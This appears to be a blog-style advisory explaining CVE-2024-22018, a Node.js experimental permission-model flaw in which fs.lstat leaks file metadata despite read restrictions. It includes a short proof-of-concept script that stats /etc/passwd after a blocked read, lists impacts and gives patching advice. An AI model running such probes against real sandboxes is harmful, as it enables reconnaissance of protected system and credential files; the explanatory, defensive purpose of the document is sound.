CVE-2024-22018 - Node.js Permission Model Bypass via fs.lstat — Explained, Exploited, and What To Do

A new vulnerability, CVE-2024-22018, has been discovered in Node.js that may allow attackers to learn sensitive information about files, even when explicit read access is restricted. This issue affects anyone using Node.js version 20 or 21’s experimental permission model, especially if using the --allow-fs-read flag.

In this post, we’ll explain what happened in simple terms, show you how the flaw works using code snippets, provide direct links to official resources, and help you stay safe.

What is the Node.js Permission Model?

Node.js introduced an experimental permission system, allowing developers to restrict what a script can do (for example, which files it can read or write). This is managed with flags like --experimental-permission and --allow-fs-read=[PATH].

The Flaw in CVE-2024-22018

When the permission system is enabled, it should prevent unwanted file access and stat information. However, due to insufficient checks, fs.lstat (the API for getting file or directory stats) was not properly restricted.

This means: Attackers can use fs.lstat to retrieve information like existence, size, last modified date, etc., of any file, even if they do not have permission to read its content.

The root cause: *Node.js's experimental permissions failed to intercept or block fs.lstat as they should have.*

Node.js 20 and 21 only (where the permission model exists).

- Projects that run Node.js with the experimental permission flags and try to restrict file access.

Systems that assume stat information is protected under the same rules as file reads.

*At the time of this CVE, the permission model is experimental and not enabled by default—but many developers and organizations could use it for added security.*

Exploiting CVE-2024-22018 (Example)

Imagine your Node.js project tries to sandbox a user’s files, allowing read-access to /home/user/appdata, but blocking /etc/passwd.

You use

node --experimental-permission --allow-fs-read=/home/user/appdata index.js

A malicious script, however, could still run the following

// attacker.js

const fs = require('fs');

try {
  // We shouldn't be able to read /etc/passwd (access denied)
  fs.readFileSync('/etc/passwd', 'utf8');
} catch (e) {
  console.log('Cannot read file contents.');
}

// But we *CAN* use fs.lstat to sneak a peek at stat info!
fs.lstat('/etc/passwd', (err, stats) => {
  if (err) {
    console.log('Cannot stat file:', err.message);
  } else {
    console.log('Stat of /etc/passwd:', stats);
  }
});

Expected behavior: Node blocks both reading and listing stats for /etc/passwd
Actual behavior (prior to fix): Node blocks reading, but lstat still works, leaking file presence, size, timestamps, etc.

Why Does This Matter?

- Leaking file existence: An attacker can check if any sensitive file exists (/etc/shadow, config files, SSH keys, etc.)
- Learning file metadata: Size and timestamps can expose activity or the presence of confidential data.
- Bypassing restrictions: Discloses information even in highly restricted environments (cloud sandboxes, multi-tenant hosting).

Official References

- Node.js Security Release blog post (CVE-2024-22018)
- NVD Summary (CVE-2024-22018)
- Node.js Permissions Documentation (Experimental)

Fixes and Recommendations

1. Update Node.js: Patch releases have been made for Node.js 20 and 21. Update to the latest version in your branch.
2. Audit Code: If you rely on the permissions model, review places where file stats might accidentally leak information (yours or dependencies’ code).
3. Don’t Rely on Experimental Features in Production: Node.js permissions model is labeled experimental for a reason.
4. Least-Privilege Principle: Minimize what your code can do, and consider extra OS-level sandboxing (Docker, containers, etc.)

Conclusion

CVE-2024-22018 is a wake-up call for anyone relying on the experimental permissions of Node.js. Even with careful configuration, security flaws can lurk in less-expected APIs like fs.lstat. If you use Node.js’s experimental permission flag, update as soon as possible and always keep permission boundaries tight.

For more details, check out the Node.js official advisory.

References

- Node.js Security Release: June 2024
- National Vulnerability Database: CVE-2024-22018
- Node.js API Docs: Permission Model (Experimental)

Timeline

Published on: 07/10/2024 02:15:03 UTC
Last modified on: 07/19/2024 14:15:05 UTC